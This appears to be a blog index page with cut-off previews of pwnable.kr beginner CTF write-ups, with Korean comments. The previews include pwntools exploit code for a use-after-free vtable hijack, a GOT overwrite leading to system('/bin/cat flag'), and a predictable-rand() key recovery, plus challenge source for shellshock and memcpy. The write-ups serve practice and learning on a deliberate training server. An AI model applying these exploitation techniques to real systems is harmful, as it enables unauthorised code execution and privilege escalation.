security 183

pwnable.kr - [Toddler's Bottle] uaf

#-*- coding:utf-8 -*- from pwn import * # 원래 chunk에는 Woman(Man)+16 주소 / 나이 / 이름 들어있었음 # Woman(Man)+16 주소에는 give_shell 주소 / introduce 주소 순으로 들어있엇음 # 재할당된 chunk의 첫 8B에 Human(Woman, Man)+8 주소를 덮어쓴다면 # introduce() 함수 대신 give_shell() 함수를 실행할 것임! with open("ha", "w+") as f: f.write(p64(0x401548)+p64(0x401548)+p64(0x401548)) # 0x401568, 0x401588 argvs = ["" for i in range(3)] argvs[1] = "24" argvs[2] =..

pwnable.kr - [Toddler's Bottle] shellshock

#include int main(){ // RealUID, EffectiveUID, SavedSetUID = shellshock_pwn setresuid(getegid(), getegid(), getegid()); // RealGID, EffectiveGID, SavedSetGID = shellshock_pwn setresgid(getegid(), getegid(), getegid()); // 프로그램 안에서 또다른 프로그램(ex. system()) 실행하면 EUID가 아닌 RUID 권한으로 실행된다 system("/home/shellshock/bash -c 'echo shock_me'"); return 0; } -r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bas..

pwnable.kr - [Toddler's Bottle] random

from pwn import * s = ssh(user="random", host="pwnable.kr", port=2222, password="guest") p = s.process(executable="/home/random/random") key = 0xdeadbeef ^ 0x6b8b4567 # rand() 하면 첫 숫자로 항상 0x6b8b4567나옴 p.sendline(str(int(key))) p.interactive() #include int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ prin..

pwnable.kr - [Toddler's Bottle] passcode

from pwn import * s = ssh(user="passcode", host="pwnable.kr", port=2222, password="guest") p = s.process(executable="/home/passcode/passcode") # No PIE이므로 코드영역, got영역 주소 그대로 p.recvuntil("enter you name : ") p.sendline(b'A'*0x60+p32(0x804a004)) # ffllush@got p.recvline() p.recvuntil("enter passcode1 : ") p.sendline(str(int(0x80485e3))) # system("/bin/cat flag") 코드부분 p.interactive() -r--r----- 1 r..

pwnable.kr - [Toddler's Bottle] memcpy

// compiled with : gcc -o memcpy memcpy.c -m32 -lm (32bit, math 관련 라이브러리) #include #include #include #include #include #include #include unsigned long long rdtsc(){ // time stamp counter를 가져오는 명령어 asm("rdtsc"); } char* slow_memcpy(char* dest, const char* src, size_t len){ int i; for (i=0; i= 64){ i = len / 64; len &= (64-1); while(i-- > 0){ __asm__ __volatile__ ( // movdqa 메모리 xxm : 메모리에 있는 16B ..